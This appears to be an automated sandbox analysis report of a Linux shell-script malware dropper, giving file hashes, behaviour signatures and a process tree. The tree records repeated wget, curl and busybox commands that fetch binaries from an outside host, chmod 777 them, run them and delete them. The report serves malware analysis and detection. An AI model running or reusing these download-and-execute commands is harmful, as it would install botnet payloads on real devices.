Analysis

  • max time kernel
    150s
  • max time network
    45s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    10-11-2024 01:01

General

  • Target

    208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh

  • Size

    10KB

  • MD5

    2408085a258a318bc587e649a5e777ad

  • SHA1

    7d4f24886ae9a4e5b0a1ee3866a311e53a29506d

  • SHA256

    208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537

  • SHA512

    5f9ddc2e0b28f44731c0d27db88455b7154293933a0aaf1d0096344f618fe40fbd5ff45ef4a56ba2a17d8e77f6de838690f88856fdbaaea0ff16dd63183bb7fa

  • SSDEEP

    192:Iw+LtUc+r7f932KtEsj+nmtUc+r7f62KtEsU8:Iw+eHp+nJ18

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 35 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
    /tmp/208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
          • System Network Configuration Discovery
          PID:721
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
          • System Network Configuration Discovery
          PID:742
        • /bin/chmod
          chmod 777 d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          ./d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
            • System Network Configuration Discovery
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
            • System Network Configuration Discovery
            PID:749
          • /bin/chmod
            chmod 777 b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            ./b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm b4EEWLaCO1jUS9ghk2XYBZQrLjLaXodB0J
            2⤵
              PID:752
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
              • System Network Configuration Discovery
              PID:753
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:754
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
              • System Network Configuration Discovery
              PID:758
            • /bin/chmod
              chmod 777 V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              ./V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
              • Executes dropped EXE
              PID:766
            • /bin/rm
              rm V0VlgxB8iN5MNVE4LHbuzIhxuHB32oQzpv
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                • System Network Configuration Discovery
                PID:771
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:781
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                • System Network Configuration Discovery
                PID:795
              • /bin/chmod
                chmod 777 trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                ./trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm trEgYoMTzvr90Fuh1ua7Obxt8yblVW0fB3
                2⤵
                  PID:809
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                  • System Network Configuration Discovery
                  PID:811
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                  • System Network Configuration Discovery
                  PID:815
                • /bin/chmod
                  chmod 777 qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  ./qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                  • Executes dropped EXE
                  PID:817
                • /bin/rm
                  rm qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt
                  2⤵
                    PID:819
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                    • System Network Configuration Discovery
                    PID:820
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:821
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                    • System Network Configuration Discovery
                    PID:823
                  • /bin/chmod
                    chmod 777 6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:827
                  • /tmp/6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    ./6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                    • Executes dropped EXE
                    PID:829
                  • /bin/rm
                    rm 6himKdLqHHEMbBtbm1DeYVOzpj21Th3IAV
                    2⤵
                      PID:831
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                      • System Network Configuration Discovery
                      PID:833
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                      • System Network Configuration Discovery
                      PID:863
                    • /bin/chmod
                      chmod 777 z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                      • File and Directory Permissions Modification
                      PID:864
                    • /tmp/z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      ./z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                      • Executes dropped EXE
                      PID:865
                    • /bin/rm
                      rm z0lcKTwAj5LA3ABgZ5RVHKQoVSnCaLFy7B
                      2⤵
                        PID:866
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                        • System Network Configuration Discovery
                        PID:867
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:868
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                        • System Network Configuration Discovery
                        PID:870
                      • /bin/chmod
                        chmod 777 qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                        • File and Directory Permissions Modification
                        PID:871
                      • /tmp/qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        ./qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                        • Executes dropped EXE
                        PID:872
                      • /bin/rm
                        rm qf0kS2iyPXuhBGNRh2RHl3lRpE9HFl5Yuc
                        2⤵
                          PID:873
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                          • System Network Configuration Discovery
                          PID:874
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:875
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                          • System Network Configuration Discovery
                          PID:877
                        • /bin/chmod
                          chmod 777 619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                          • File and Directory Permissions Modification
                          PID:878
                        • /tmp/619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          ./619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                          • Executes dropped EXE
                          PID:879
                        • /bin/rm
                          rm 619pP1JJoAwunuV4KJ96kdYmPBNHCmrxVR
                          2⤵
                            PID:880
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                            • System Network Configuration Discovery
                            PID:881
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:882
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                            • System Network Configuration Discovery
                            PID:884
                          • /bin/chmod
                            chmod 777 pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:885
                          • /tmp/pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            ./pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                            • Executes dropped EXE
                            PID:886
                          • /bin/rm
                            rm pgXvwNQv3ymcGfJbVdCTI2c7vfCLcH1xj5
                            2⤵
                              PID:887
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                              • System Network Configuration Discovery
                              PID:888
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:889
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                              • System Network Configuration Discovery
                              PID:891
                            • /bin/chmod
                              chmod 777 wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                              • File and Directory Permissions Modification
                              PID:892
                            • /tmp/wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              ./wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                              • Executes dropped EXE
                              PID:893
                            • /bin/rm
                              rm wkpNZ2v13SwoIlEKqYQFzImGVKNGRALj3y
                              2⤵
                                PID:894
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/mHRjpSghZ90EoC3CS8OlM8GtYaIk53ovnF
                                2⤵
                                • System Network Configuration Discovery
                                PID:895
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/mHRjpSghZ90EoC3CS8OlM8GtYaIk53ovnF
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                PID:896

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO

                              Filesize

                              153B

                              MD5

                              998368d7c95ea4293237f2320546e440

                              SHA1

                              30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                              SHA256

                              533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                              SHA512

                              648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

                            • /tmp/qScpKyGJeCreL2XWJ3OKOcaGmCmRpZK7Mt

                              Filesize

                              176B

                              MD5

                              e1732e70f015e99d14dff1eeeaec9966

                              SHA1

                              c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113

                              SHA256

                              6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e

                              SHA512

                              6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7